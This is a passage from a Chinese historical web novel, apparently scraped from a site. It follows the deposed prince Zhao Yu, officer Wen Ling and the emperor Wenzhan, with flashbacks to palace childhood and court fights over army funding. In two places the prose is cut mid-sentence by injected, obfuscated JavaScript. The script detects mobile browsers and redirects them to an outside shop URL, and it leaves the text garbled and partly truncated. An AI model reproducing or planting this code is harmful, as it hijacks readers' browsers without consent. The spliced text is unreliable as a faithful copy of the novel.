他被二百五的赵毓烧过头的脑子,降了温,开始转动了。他记起来,当时,见到赵毓的时候,黄枞菖就陪在他身后,在银库点现银。 温岭手松了松,赵毓顶着门的力气也松了松。 温岭说,“我与黄内相不熟,不过,我外祖父却与他相熟。” 赵毓,“你的外祖父是,……” 温岭,“当年东宫的殿前督将军。” 赵毓,“当年的东宫,……,毓正宫?” 温岭,“是。” 赵毓,“温十行?” 吧嗒。 此时,木门一响,门吱呀一声开了,文湛站在门里。 温岭呆若木鸡! 下意识后退一步。 ——男,……,男,……男男男男,……,跟赵毓睡觉的居然是!!!!! 一个男人? 温岭不是一辈子没出过村子的雏鸡。 他当然知道雍京城什么花样的玩耍都有。可是,一般人找的小戏男优,都是小小软软男孩子,眼前这个男人,俊,真的俊,俊的令人心惊胆战!——可,是不是,长的有点儿太高了?比赵毓还高。 如今什么世道? 眼前这个俊美小子,大好壮劳力不自食其力,跑来陪赵毓这个混账王八蛋睡觉? 而赵毓,则上上下下仔细打量温岭。 ——不太像老温,这小子长得像他亲爹。 …… 温十行曾经是东宫的门神,有他在,魑魅魍魉无所遁形。 回首二十二年前。 赵毓还是凤化朝皇长子承怡,只有十四岁;而文湛,还是凤化朝太子,年仅十岁。 承怡和文湛又吵架了。 其实这些年他们不经常吵架了,毕竟长大了。 小孩子时候无理取闹。 他们可以为了当天上课承怡多看其他人几眼,为了承怡不去东宫吃饭;为了承怡表哥姓崔的家伙回来毓正宫,承怡要回去陪表哥逛御花园;为了承怡带点心过来读书,本来说全是给文湛吃的,却给了老二一块糯米红豆糕,……,等等一些鸡毛蒜皮的小破事,就能冷战上一天。最后的结果就是承怡拎着点心篮子在众目睽睽之下蹭进去东宫,哄哄太子,然后他们一起和和美美喝茶吃点心。 这一次吵架毕竟为了稍微大一些的事情,——每日课程完毕,文湛要承怡跟随他进微音殿。 “之前老爹让我过去吃面条,可那里吃饭不让嗦出声音,不爽。你是储君,你大了得去听政。我这才终于有借口不去了。” “文湛,以后,你是主上,微音殿累人的活儿都是你的。” “我不去。” 承怡面前书案上铺着一张缩略版的大郑全境堪舆图,他说话的时候甚至没有抬头,也没有看着文湛,而是极认真地一寸一寸核查。 “我得找个清秀的地方,不富,可绝不能穷到要典当小老婆给别人睡觉来换钱过活的地方,让老爹封给我。” “文湛。以后,我离京就藩,咱们平时见不到,我不能再给你偷点心了。你想吃啥,我给你供。” “我得找个产这玩意儿的地方,只要不穷到吃不上饭,就成。” 半晌,承怡没听见文湛说话。 他狐疑抬头。 就看见文湛面无表情看着他。 然后。 文湛一步上前。 将承怡面前的堪舆图,一条一条撕碎了。 …… “明明是文湛无事生非,我又没错。” 承怡一边嘀咕,一边拎着装着满满红豆饼的篮子向东宫走,结果,东宫门外稳稳站着温十行。他如同东方持国天,只是,他手持宝剑的样子又像个南方增长天。 承怡绕着他转了三圈,如同小狗绕着大树,最后他停在温将军的正面,昂头仰望。 温十行如同擎天柱一般,严密挡住了晌午的日头。 承怡,“原来你是个四不像,哦哦哦~~~~~” 温十行不动如山,原本犹如石雕,此时,他脸蛋子不动,眼睛珠子却向下翻转,盯住眼前这个调皮捣蛋的大皇子。 “老温,你怎么站在这里?” “奉皇后懿旨。” 承怡一惊,“那个婆娘过来作什么妖?” 温十行,“大殿下,请谨慎言语。” 承怡连忙捂嘴,他手中的点心篮子乱颤,“老温,我和你呆一会儿,等皇后走了,我再去找文湛。” 温十行,“殿下说,今天不想见您。” “啊?!”承怡很意外,“都三天了,他还没生完气?” 温十行静默如同石头。 承怡知道,这事儿与老温也没啥关系,他又绕着温十行转了一圈,转得温十行眼睛珠子都跟不上趟。 “老温,我娘让我再问一下,温家姐姐和我表哥的事儿有戏不?我娘说,表哥现在是个白丁,可他今年就能下科场。他有才,秋闱春闱两场下来,一定能搏个进士出身。” 温十行,“多谢崔美人娘娘挂心,我女儿昨夜已经拜堂。” 承怡,“啊?” 温十行,“崔珩公子亲自保媒。” “……??” “原来表哥也不情愿啊,我娘到底折腾个啥?”承怡自己嘀咕了一下,又问,“老温,我表哥给你家找了个啥样的女婿?世家子,有军功,还是个清流啥的?又或者是有大笔银钱的富家子?” 温十行,“是个好人。” “嗯,嗯。”承怡点头,“我表哥眼光毒,他认识的好人,一定是个好人,不是伪君子。只是,……” 温十行,“大殿下有话直说。” 承怡,“这个世道,妖孽横行,好人是混不出头的。这样的女婿,一生碌碌无为,老温,你甘心?” 温十行,“我就一个闺女,一个丫头能做什么?没人指望她建功立业,也没人指望她找个夫婿公侯万代。她这辈子找个老实人,生儿育女,操持家,一辈子踏踏实实,别出什么事,姑爷老实本分,这就是我们老温家的福气了。” 福气吗? 正说着,东宫忽然声音大噪。 承怡连忙躲开。 在树后,他看着皇后仪驾出来,飘荡着各种彩色的旗子,攒动着各种人头,还持着黄金铸造的锅碗瓢勺,一路香风扑鼻,叮叮咚咚的远去了。 不等温十行再招呼,承怡拎着点心篮子钻进东宫。 果然。 文湛被罚,跪在正殿。 太子后背直挺挺,像太庙供奉的那些牌位。 不顾方才听到的‘今天殿下不想见您’的话,承怡盘腿坐在文湛对面,“那婆娘,……,呃,你娘,那个啥,……,皇后怎么了,今天哪里不对劲,又折腾你?” 太子如同一尊小小的雕像。 不说话。 承怡举着点心篮子到他面前,献宝一般,“看,满满的红豆饼,不给别人,都是你的。” 太子还是不说话。 承怡只能认错,“殿下,我错了。” 终于,太子赏脸,哼了一声。 承怡掰了一块甜甜的豆沙,塞进了文湛嘴巴里。 在承怡心中,文湛是个小心眼,还是个死心眼,小小年纪,做储君都做傻了,不知道变通。 “哎,我说,你娘又不在这里看着你,你不用跪得这么笔杆条直。” 反正,他自己被罚的时候,从来都是人前勉力支持,人后偷工减料,可是,文湛从来不这样做。罚跪,不管人前人后,他从来都是笔直的跪足时辰,连一个弹指的功夫都不敷衍。 “我有错。”文湛咽下红豆才说,“错了,就认罚。” “有错?”承怡,“是不是你终于知道,不应该对我乱发脾气?” 文湛,“不是。” 承怡,“呃,……” 文湛,“皇后说,我不应该撕你的堪舆图。” “咦!”承怡稀奇,“那婆娘居然也明白事理了!” 文湛,“她说,应该比照堪舆图给你封地。” 承怡更稀奇,“日头打西边出来了!我有些稀罕上你娘亲了,她也不是那么不讲道理。” 文湛,“她说,让你滚,滚得远远的,滚到天边去。” “嗝……”承怡嘀咕,“我就知道,指望皇后明事理,母猪也能爬上岐山桃花树。” “怡哥哥。”文湛说,“你舍得离我那么远吗?” “呃,……” 承怡一口一口吃着红豆饼,当真仔细想了想。今天的馅加了红糖,蜂蜜和糖桂花,甜腻腻的。 “怡哥哥。”太子极其认真地问他,“留在雍京不好吗?一直陪着我,不好吗?” 承怡也极认真,“殿下,您以后是大郑的皇帝。” 文湛,“那又如何?” “皇帝,注定称孤道寡。”承怡,“我在不在雍京,你都是孤家寡人。” “只要有你在。”文湛伸手,承怡在他手心中放了一块甜甜的红豆饼,“我就不是孤家寡人。” …… 后来,赵毓随口问了崔珩一句,“你给温家姐姐找的那个平庸女婿,老温怎么就认了?” 赵毓隐约记得,温家这位女子胸有沟壑。她从小习武,一心想要继承温十行的衣钵。当年他娘想要把她与老崔凑一对,也是觉得温家姑娘厉害,而且当真有能耐,婚后一定能管得住老崔这头野驴。所以,他一直觉得,就算温家姑娘不嫁崔珩这位准进士,也一定会寻觅一位人中龙凤做夫婿。 结果,…… 崔珩一言定音,“他肯入赘。” …… 赵毓看着温岭,忽然说了一句没头没脑的话,“你姓温。” 还有半句,未曾出口,——你们温家,没落了。 赵毓记得,当年文湛登基,他的政敌前皇三子羽澜被困宗正寺,临死之前曾经说过,如果他外祖昆山杜家不是舅舅做了小阁老而是他亲娘说了算,杜家不会落到那般田地。崔珩也曾经说过,太子灵均的母族桓侯姜家曾经煊赫一时,如果太子娘亲是继承人,姜氏一族也不会落到谋逆大罪,首犯凌迟,全族男子斩首女子流放的地步。 当年毓正宫殿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728996|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前将军温十行,赫赫威名,如今,女婿平庸,外孙二百五,温家女空有一身本领,也只能围着锅台还有不成器的丈夫儿子转,他们温家也惨淡了。 温岭问赵毓,“喂,你跟黄内相是什么关系?” 赵毓,“我们关系特别好,一个碗里吃饭。” 温岭,“啊,闹了半天,你也是太监!” 赵毓,“我不是太监。” 温岭,“那你,……” “一看你就没见识。”赵毓,“唐高宗时改殿中省为中御府,只有位高权重的阉人才能做太监。你以为随便一个割了卵蛋就是太监?那是阉人!你都知道称呼黄枞菖为内相,老黄那是能批红的司礼监秉笔大太监!要不是你们家老爷子的面子,老黄又不是人走茶凉的人,你以为你一个小毛孩子能在他面前说得上一句话?” 温岭,“……?” “咱们折腾一早上了,你饿不?”赵毓伸唯出一能用的右边胳膊搭在温岭的肩膀上,“走,到前院儿,叔儿让人炒两菜,你陪叔儿喝一盅。” 温岭头有些懵,他当真被赵毓揽着,向外走了两步。 陡然一想,——不对啊,自己今天干嘛来的!不是抄赵毓这个雍南公学嘛?! 赵毓,“咱爷俩儿先吃着喝着,叔儿再给你讲讲叔儿这个大学堂和这场风波的来由。” 温岭,“……” 他又被拉扯着,总算走出了内堂廊檐,温岭才想着回头,发现那个俊的不像活人的男人一直跟着。 “这个……”温岭指着文湛对赵毓说,“婶儿也一起去?” 文湛,“……” 赵毓拍了拍温岭的肩膀,“你小子有眼力见,一会儿叔儿给你夹条大鸡腿!” 文湛,“……” …… 薛宣平被堵在雍京南门。 一时半刻这人还散不开,他被围在人群中,像个困在井中的耗子。 所幸,这人聪明,越是困兽,越是能折腾。 此时,他那张锅饼子大脸上的两只小绿豆眼左右寻摸,贼光四射,终于,他看到了一个人! “家臣!” 薛宣平下马车,拨弄开堵在自己周围的人,冲到城门楼子跟前,眼前一位锦衣人,是黄枞菖!此时,南门守城的兵士将北镇抚司的令牌还给黄枞菖,并同时向城门那边做了一个手势,准予通行。 “老赵家的,那个,家臣!你不记得我了?” “我是老薛,薛宣平啊!” “去年在西北道,哦,现在是元承行了,你送我们少东家过来点银子,咱们见过。” “哦,还有,前些日子,就是端午那天夜里,在城外,我们也见过。” 黄枞菖,“哦,薛先生。” “您是不是要出城?真巧,我也是。”薛宣平一把攥住黄枞菖的袖子,“咱们一起呀!” …… 赵毓吃饭的木桌就摆放在院子中的茅庐中。 赵大妈一出手就是四凉四热,还冰了一坛子桂花米酒。而赵毓则让赵大妈他们泡了一缸桑叶茶,找四个壮丁抬出去,招呼一下围在公学外面的兵士,还有看热闹的人。 文湛着实不太想同温岭说话,他就坐在一旁木椅上,距离赵毓近,而距离木桌和温岭都很远。 “赵叔儿,婶儿,你们别生气。”温岭说,“我这是公差,奉了上峰的命令,自然就得来一趟。”他是子侄辈,此时自然早早拿过小酒坛子,分别给赵毓和还有桌面上文湛的空碗中倒了酒,又对赵毓说,“叔儿,方才听您这么一说,您这个公学真是做了大善事,按老理儿,不该有这么一劫。” “我自己又仔细想了想,似乎我们顺天府尹刘大人,也是不太情愿揽下这个差事的。” “只是,他也有上峰,他也不能抗命。” 赵毓,“是刑部下的命令吧。” “原来叔儿是门清。”温岭也给自己倒了酒,“这次是我不懂事,自罚三杯,还请叔儿和婶子不要同我一般见识。” 赵毓,“前些天我刚从刑部出来,当时他们说都问清楚了,没想到,背后给我这么一刀子。”他拿过酒坛子也给温岭倒了酒,“大侄子,今天这事儿,我怎么着也得让你能回去复命。雍南公学大门要贴的封条,我都写好了,连米汤浆糊都熬好了。所有学生我都让各回各家,各找各妈去了,剩下的人,我今天都带走。这里,你随便。只是,你回去后,要是得空,帮我扫听一个件事儿。” 温岭侧着耳朵听。 赵毓,“这官面儿上的事,自来都是各人自扫门前雪,那管他人瓦上霜,多一事不如少一事,我不信要是没人暗地里跳大神儿,堂堂刑部吃饱了撑的,跟我雍南公学过不去。我就想知道,究竟是哪个不露面的耗子,跟我玩阴的。” 温岭一乐,“不用扫听了,我知道。” 赵毓,“啥?” “刑部尚书陈耘珪。”温岭说,“这位大人老家在昆山,是江南兰芝社的人。” 赵毓,“……?” 温岭,“我娘让我暗地里查的。她虽然是妇道人家,却比一个男人还精明能干。她说,跳坑不怕,可就算死,也得死得明白,不能糊糊涂涂被人卖了,还给人家数钱。” “成。”赵毓说,“令堂大人这个人情,我认。咱们吃完饭,我立马带着人走,这里就留给你,抄家,查封,悉听尊便。” 温岭咯咯一笑,摇了摇头,“叔儿,我实话实说,您也不厚道。” 赵毓还是有些意外,“怎么说?” 温岭,“您们这些大人啊,……,神仙打架,弄得云山雾罩,谁和谁也不直接对上,使唤着我们这些小鬼团团转。万一哪个小鬼不长眼,胸口挂着一个勇字,一头扎进来,想抽身,那就难比登天喽。我命好,今天长了眼睛,没有往死里得罪您,还凭着我们温家同黄内相的交情攀上了您这尊大佛。不然啊,……,唉。” 赵毓没说话,单手端着酒碗看着他。 温岭伸出手,指着外面正堂的匾额。——这块匾额并不大,甚至没有刷漆,只刷了一层桐油,简陋,只写着两个字,却透着一股子气势,恢弘浩荡,犹如万世屹立的河山,天下九州万方。 ——大、正。 “我外祖父一直是毓正宫的殿前都将军。”温岭,“今上做东宫太子的时候,就赏赐过墨宝给我们温家。我们温家是没落了,可是老爷子去的时候,圣上那是亲自御笔写了恩旨的,如今这封恩旨就供奉在我们温氏的祠堂中。” “赵叔儿,您不会以为,我当真纨绔糊涂到,不知道这两个字,出自谁手吧?” “再说。” “赵先生如果不是手眼通天,又怎么能得我婶儿此等人物甘愿侍奉左右?” 139. 139 139 薛宣平揪住黄枞菖的袖子,一路屁滚尿流跟来雍南公学,他就怕今天公学被查封,再惹出什么大祸来。可是,当他真正到了这里,发现,这里没有任何兵荒马乱过境之后的残破。 却,过于安静了。 大门打开。 黄枞菖没有过于意外,他下马,把缰绳扔给出门迎接的小厮,而薛宣平连忙从马车上跳下来。 进得大门。 罗小草在茅草屋檐下的木桌上认真写字,赵大妈让人在空地当中支上一口大铁锅,正在给半扇肥猪剔骨,手边还有几个木盆,装满了鸡鸭鹅,几个人给她打下手。周围还有一些人正在打扫,割掉野草,拿着抹布擦桌椅板凳,木柱子和窗户框子。 一派武陵桃花源的气息。 再进一层门,他们看到了赵毓,还有文湛。 文湛坐在亭子中,用左手,认真写着字帖,而赵毓则端着一个大瓷碗,盛满冰块镇过的米酒,飘着盐桂花酱的香气,站在正堂书房外面,抬着脑子,看着上面的木匾。 ——大、正。 按理说,黄枞菖应该先跪文湛,只是,这在外面,着实不方便,于是赵毓拦住他,说,“没事儿,人来过,又走了。” 黄枞菖此时方才长出一口气。 赵毓又说,“饿了没?” 黄枞菖,“还好。” 赵毓,“要是能等,就挺一会儿,赵大妈今天要露一手,做席面。” 黄枞菖点头,“我四周看看防护。” 赵毓点头。 等他走后,薛宣平又仔细瞧瞧四周,“我被堵在雍京南门,当时一队人马浩浩荡荡出城,听说顺天府要查封公学,这是咋了,他们都抄完了,走了?可是,我也没见家当少啊?” 赵毓抬手,指着那块木匾,说,“方才,匾额大仙显灵。雍南公学顿时华光万道,瑞彩千条!我们这些肉眼凡胎的凡夫俗子以为今天能积大功德,正想要向匾额大仙求些恩典,没成想,突然之间,一道天光劈下来,周围一片混沌,等我们再睁开眼的时候,这道天光已经把顺天府的人都劈走了。” 薛宣平,“……??” 赵毓,“你来做啥?” 薛宣平此时方才回过神儿,他从袖子里面拿出一纸封,“让你白活的我差点忘记正事。” 赵毓把酒碗递给他,自己打开纸封,看见里面是一封长生行鬼占的书信,外加一张江南十三行老式的银票。 薛宣平,“长生行大掌柜请你过去一趟。至于这十三行的银票嘛,按理说,他们十三行已经从雍京城退出去了,这个时候,就算雍京还存着一些十三行的银票,也都是旧时日的东西了。我没想到,这封银票虽然是老式的,看着却像是新写的,感觉有些奇怪。” 赵毓举着银票对着日头,仔细看: ——这个字,这个字迹,…… 周熙? 不,是他,……,杜,…… 赵毓,“这封银票打听一下来处。” 薛宣平,“我让人查过,应该是南边过来的。怎么,是假的?” 赵毓,“真的。” 真的不能再真的十三行银票! 永嘉十三行,老式手写的银票,雍京白银之役之前,顶的上一家商行的信用,可以兑付的白银,价值是写在银票上的数额的十倍! 薛宣平看着赵毓的脸色有些不对劲,想问,却听见他又说,“老薛,给长生行送封回帖,约大掌柜鬼占出来,我请喝酒。” 薛宣平点了头。 忽然,黄枞菖从前面蹿了进来,慌慌张张的,脸色白的像蒙了一张沾水的宣纸。 “那个,祖宗,……” 赵毓,“咋啦?” 黄枞菖手指向身后指,那里空空如也,可是他却用颤抖的声音说,“有,……,有客。” 薛宣平吓得一哆嗦,“咋啦,匾额大仙儿又显圣了?” 黄枞菖,“……??” 赵毓,“别听老薛胡搅蛮缠,说,谁来了?” ——“柳密。”黄枞菖说这个名字的时候,嘴唇轻摩,像沙漠中的一只蜥蜴,咝咝啦啦的,都不敢出高音儿。 赵毓,“……” 薛宣平,他没听说过这个人,“……” 赵毓继续,“……” 黄枞菖也,“……” 半晌,赵毓呆滞的神情忽然皲裂,他扯着嗓子嚎,“让不让人活??!!” …… 九年前。 元熙五年,腊月十四,雍京。 赵毓在北城尹府门前下马,门房连忙过来接缰绳,而尹名扬的参将杨进则早已经等候在一旁了。 杨进后来是尹府的家臣。 他的父亲也曾经是尹名扬的参将,一次大战中被砍断双腿,不能再上战场,如今在云中老家颐养天年。 杨家一直忠心耿耿,所以杨进在尹府地位极高,甚至连尹徵(桂宝儿)见了他都不敢造次。 “姑爷。”虽然杨进有官职,可是面对赵毓,他总是这样称呼他。他跟着赵毓向院子里面走。 赵毓边走边说,“老爷进了贤良寺,准备明天一早进宫,在微音殿面圣。” 贤良寺是一座一千年的庙宇。 不被用来烧香,求官,求财,求儿子,等等,求得众生向佛菩萨的诸多诉求,而用来典藏海量佛教经典。同时,又因为靠近大正宫,入京述职的大员们,在进宫之前都住在这里。 进屋,赵毓将外面的披风扯了下来,“军饷有着落吗?” “没有着落。” 杨进仔细解释,“这次西北战事失利,虽然没有丢城失地,却接连损失五万兵士,着实授人以柄。老爷的几家对头都蠢蠢欲动,甘宁总督祝惟演甚至还让御史台的李秀联络了几个言官写弹劾的折子,这个李秀是祝总督的同门。他们说尹氏在西北养寇为重,本来不过边境上一些小争端,却被拖成心腹大患,其心可诛。这些年,朝廷已经在西北损耗了三千六百万两白银的军饷,如今落得这么一个泥潭深陷的局面,也的确说不过去。” 甘宁总督祝惟演原本总督西北军务。 可这些年这尹氏九部一去,赵毓手握虎符,他军权旁落,自然心中不平。 此时趁人病要人命也是平常,大家都是场面上的人,见多识广,这种事也不令人意外。 赵毓只是安静的听,他坐都没有坐,此时有小丫鬟送了热茶进来,赵毓单手扣住盖碗,拿过来就喝。杨进这些天在雍京城活动,上下结交了不少人,其中就有老王公旧权贵。他发现,这些人扣盖碗的姿势,与赵毓极像。——不那么严谨的守规矩,反正官面上的大人们都不是这种端法,却不难看,甚至在不守规矩中透着一股子闲适和自在。 茶水有些烫嘴,赵毓似乎浑然不觉。 ——西北战事失利,商道已经不通了,之前积攒的家底全堵上,还有二百七十万两白银的漏洞。如今,阵亡的兵士家里需要抚恤,招兵需要现银,更不要说重新修葺城墙防御,储备过冬的粮草药物,购置战马等等诸多事宜,这又到了年根儿地下,要是没有这二百七十万两军饷续命,西北已经支撑不到开春了。 眼看着,肃清西北边境的万世功业就要功亏一篑。 难道,当真就这样放弃? 忽然,赵毓把茶碗墩在桌面上,抓起披风向外走。 杨进连忙跟上去,“姑爷,您这从西北赶了三天路回来,没下马,回家连口饭都没吃,这是要去哪儿?” 赵毓,“老杨,你在家里好好守着,明日晌午记得带人去大正宫外等老爷。哦,再让厨房预备点好东西,我记得库房还有上次从关外带回来的老山参,炖鸡汤,也给老爷补补身子。” 雍京南城。 这里车水马龙,热闹非常,却是北城人几乎不踏足的境地。黄枞菖今非昔比,当年那个废王府邸的小伴当,如今已是司礼监的秉笔太监。他走到哪里,也是前呼后拥的。此时他青衣布衫,像个书布衣生出现在南城小酒馆的时候,旁人竟然没有理会。 小酒馆在柴房边上有个小屋,挂个帘子,关个柴门,就算雅间。黄枞菖进来,看到桌上放着茶壶和几碟子炒货,屋里已经坐着一个人,双手抱着胳膊,脑袋歪在木椅靠背上,像个累极了打瞌睡的边军下等军官。他不想打扰熟睡的人,轻手轻脚关上门,那人却已经醒了。 “来了?”赵毓揉了揉眼睛,“坐。你想吃点什么?” 这才几年没见? 黄枞菖有些不敢认眼前的人。——难以置信的消瘦,像竹丕子支起来的脆薄架子上糊的纸人。 “王爷,……,呃,……” 赵毓,“什么王爷王奶奶的,哪年的老黄历了。这家的猪耳朵做的不错,我要了半斤,你喝什么酒?” “什么酒都成。”黄枞菖,“您,怎么从西北回来了?” 赵毓没说话,叫了伙计过来,点了猪耳朵,猪下水,两碗烂肉面,还有两斤老白干。 等菜端过来,赵毓招呼黄枞菖吃饭,他自己却只吃了两口,嘴里没味儿,放下筷子。 “我爹他,……”赵毓停顿一下,“太上皇还好吗?” “人上了年纪,也是一年不如一年。”黄枞菖说,“这些年没有政务牵挂,心里想的东西就庞杂了。李芳说,有些时候一夜一夜睡不着,起身,就对着那幅画像,不说话,却一看就是一夜。” “情种,真是个情种。”赵毓,“以他老人家的雄才伟略,怎么还堪不破这点儿破事儿?” “拉倒吧。”黄枞菖,“站着说话不腰疼,说得好像您自己能勘破一样,……” 赵毓,“你说啥?” 黄枞菖连忙捂嘴,“我啥都没说。” 过了一会儿,赵毓,“我家老爷子明日一早进微音殿,祸福难料。” “要不然。”黄枞菖试探着,说话的时候还伸着脖子,“您自己面圣述职?其实,微音殿早就明白,您才是手握兵符、名副其实的西北王,您家那位岳父老泰山,就是个摆设。” 赵毓目不转睛的盯着他,黄枞菖连忙缩了回去。 赵毓说,“我手中的玄铁虎符就是我在玉熙宫的镇纸。我小的时候不懂事,一直以为那是老爹让我扔着玩儿的。其实,那是大郑开国皇帝的圣物。一千二百年前,太|祖逐鹿问鼎,用的就是这个。虎符原本一直供奉在岐山,当年我出生,老爹去岐山跪宗庙的时候,顺出来的。” 黄枞菖,“……??” 赵毓,“太上皇让人把虎符送到西北。圣上什么都明白,也一直避讳着。” “再说。太上皇想要彻底平定西疆,重建丝路,这千年难遇的不世出的大功业,其实极其凶险。万一我们命中有劫,西北长城倒掉,山河破碎,后世的责难和千古罪人的骂名,太上皇甚至是我,都可以扛。上皇千秋之后,圣上只要不让他的牌位进太庙,进而像之前的那些祖宗们一样,恢复河山,再造盛世,他依旧是雄主。” “我老爹吧,做皇帝是极好的,就是做人家爹,实在不像个样子。如今老了,老了,也终于想着为了儿子做点什么了。兄弟们死的死,散的散,就只有文湛,好歹活得像个样子,老爹为了儿子也得担负这些。我想着,成全老爹,也算是还了他那半辈子的债吧。” 黄枞菖就是点头,他知道,这些话,赵毓能说,他只能听,接茬都是灭族大罪。 半晌,赵毓问了一句,“这几年,文湛他,……,圣上过的怎么样?” “就那样。”黄枞菖,“如今大正宫冷清,像和尚庙。” 又是半晌,赵毓,“言官们没难为他吧。” 身为大郑的皇帝,广纳内宠,充裕后宫,为皇室开枝散叶,这不是享受,而是责任。像文湛这样,二十四岁的年纪,子嗣不旺,却空置后宫。这要是放在前朝,要被那些‘心系苍生,不畏皇权’的言官们群起而攻之的。至于文湛自己作为一个活人的喜怒哀乐,却被用‘天子无私’一笔带过,全然掩埋。在文官心中,御座之上的那个人,是玉雕圣像,最好不哭不笑,甚至不喘气,完美的像太庙的画像一般,否则,就是臣子们名垂青史的垫脚石。 “哪儿敢?”黄枞菖,“谁都不傻,看人下菜碟的本事,还是很精道的。” 赵毓其实也想说一句,——情种,也是个情种。以今上雄才伟略,怎么也堪不破这点儿破事儿? 可是。 却。 无论如何,无法出口。 “哎。”赵毓末了叹气,“人这一辈子就几十年,这么苦着自己,何必?” “那个,祖宗,您这次找我过来。”黄枞菖问,“用我做点啥?我知道西北军饷的事儿,……” “啥也不用。”赵毓摆手,“我找你出来就是想找人说会儿话。这几天我脑子乱,也睡不着,再不找故人聊聊我自己都撑不过去了。没事儿,这些东西倒出来,我心里就舒坦了。我这就回去睡觉,天塌下来,也得让人吃饱喝足,睡足精神了,再扛。” …… 如今,雍南公学。 “快,拿个布袋给薛宣平套脑袋上,在后院找个地方躲起来。”赵毓回过神赶忙说,“别让那个阎王爷看到老薛这张脸。那个阎王爷两只眼睛有透骨钉,让他盯上,不死也得扒层皮!” 薛宣平在懵怔的时候,被黄枞菖套了个麻袋,顺着内墙,推到后院的小库房去了。 文湛收拾了手中的字帖,“怎么了?” “你问我怎么了?”赵毓一听皇帝斯文娴静,从容不迫的声音,就感觉气不打一处来,“还不是你那个最心爱的督察院总宪大人?” 文湛,“……” 赵毓坐在亭子栏杆上,“我最讨厌的就是翰林院的酸文假醋,这个柳密,更是翰林院酸文假醋中的酸文假醋。不,他是六十年的老陈醋!他们读书人,肚子里面的弯弯绕比猪下水都多,心黑手狠,偏偏这个柳密还口衔天宪,折腾着我们提心吊胆,哎,头壳疼,头壳疼。” 文湛,“……” 好半晌,文湛说,“这个人,你不想见,不要见,就是了。” “你说的容易!”赵毓又是气不打一处来,“全天下的人,谁敢得罪督察院?俗话说,不怕贼偷,就怕贼惦记着,如今这阎王爷都登堂入室了,那就是人家早惦记上了。我要是不打起十二万分的小心,仔细应付过去,谁知道他肚子里焖着什么,又给我下什么套儿?” 黄枞菖安顿好薛宣平回来复命,就看见凉亭中的赵毓气的快要炸了。 而皇帝,…… 呃。 文湛戳在一旁,也不知道该说什么。 黄枞菖脚底抹油,从石墙旁边,蹭了出去,一到外院,他连忙蹿了。 终于,文湛说,“让黄枞菖应客。” “拉倒吧。” 赵毓双手按住自己的太阳穴,“早九年前,人家就把我的底细摸了个底掉,他要是给我这个面子,当年就不会,……” “再说,要是他被我这么一个废王唬住,根本不配做我大郑朝廷的左都御史!” “哎,头壳疼,头壳疼。” …… 雍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“微音殿上,内阁各位阁老都到了。”尹名扬说,“顾澹最为激进,他力主尹氏问罪,西北换帅。” 赵毓,“查伊瑝说话了吗?” 如今内阁,首辅是楚蔷生,其他阁臣,寒门出身两位,酷吏一位,德高望重一位,剩下的两位就是顾澹和查伊瑝,他们出身江南巨族,虽不明朗,背后却是兰芝社。 尹名扬,“查相倒是很温和,也没说什么,还一直劝说顾相。” 赵毓冷笑,“一唱一和,他们两个这么有才,怎么不去天桥卖大力丸?一人一簸箩收铜钱,没准收工还能吃两驴肉火烧。” 杨进,“……??”此时,他心中愈发坚信,绝对不能让姑爷进微音殿,不然尹氏九族尽灭,肃清西北的万世功业也将灰飞烟灭! …… 黄枞菖跟在赵毓的身后,向雍南公学的前厅走过去。此时,厅堂木门大开,四周跑风漏气,院子中,赵大妈已经将肉下锅,水烧开,又加了桂皮香叶八角花椒,荤荤的香气已经弥漫四散开来。 柳密就坐在厅堂正中,他今天好歹没有穿着土布褂,穿了一件细麻料的长衫,虽然不是崭新崭新的,却绝对不是洗的都褪色了。赵毓一脚迈进去,第二只脚丫子有些抽筋,它似乎有了自己的意志,不想向里面去。于是,他就着一脚里一脚外的姿势,转身,顺手将黄枞菖推了进去。 黄枞菖,“……!!” 柳密见状,起身,倒也斯文,问了一句,“赵先生,多年未见,别来无恙。” …… 尹名扬回到府邸就病倒,夜里发了热,宫里派了御医过来,正是谢翾飞。 “部堂大人这是急火攻心。”谢翾飞拄着拐杖,递给赵毓一张纸,“我开了方子,赵先生按方子抓药,文火煮两遍,滤好的汤汁喂部堂喝,明天傍晚,最不济到后天,这热也就退了。” 赵毓道了谢,送他出门上马车,谢翾飞临放下帘子,忽然来了一句,“赵先生,我叔父谢枯荣想下请柬,我拦住了。今天过来探个口风,您接吗?” 赵毓,“内阁中顾、查两位阁老和我打擂台,谢大人虽然在吏部,紧要的差事,却不是尚书,就不要这个关口招惹我了,万一让顾查惦记上,麻烦。” 谢翾飞,“惦记,是早晚一定会惦记的。” 赵毓,“这一早,一晚,有大学问。事缓则圆,晚上一些,是好事。” 谢翾飞,“既然您这么说了,我记下了。不过这次的事凶险,万一有什么过不去的坎,您可以接谢枯荣这道请柬。” 赵毓抬手,施礼送客。 他回院子,将医嘱吩咐了管家。 杨进过来说,“姑爷,这些天在雍京,我四下结交了不少人,打听到消息,如今国库空虚,又到了年根儿,户部本来银根就紧,再加上西北不是咱们一家要开销军饷,所以,也的确为难。咱们部堂大人是几乎被问罪的人,不比人家,与咱们为难的甘宁总督祝惟演,还有他的同门御史台的李秀,都是查阁老的门生,户部那些人眼光毒辣,此时,自然是看人下菜碟,我听说,户部要把最后三百万的军饷给祝总督。” 赵毓,“祝惟演?在西北除了搂几个婆娘喝酒,跟在咱们屁股后面捡功劳,他还做什么了?” 杨进欲言又止,赵毓开口,“说吧。” 杨进,“我认识一户部小吏,对我说,如果咱们想要抢这最后的三百万两,他给想法子,不过,要给户部留下一成。” 赵毓,“三十万两?” 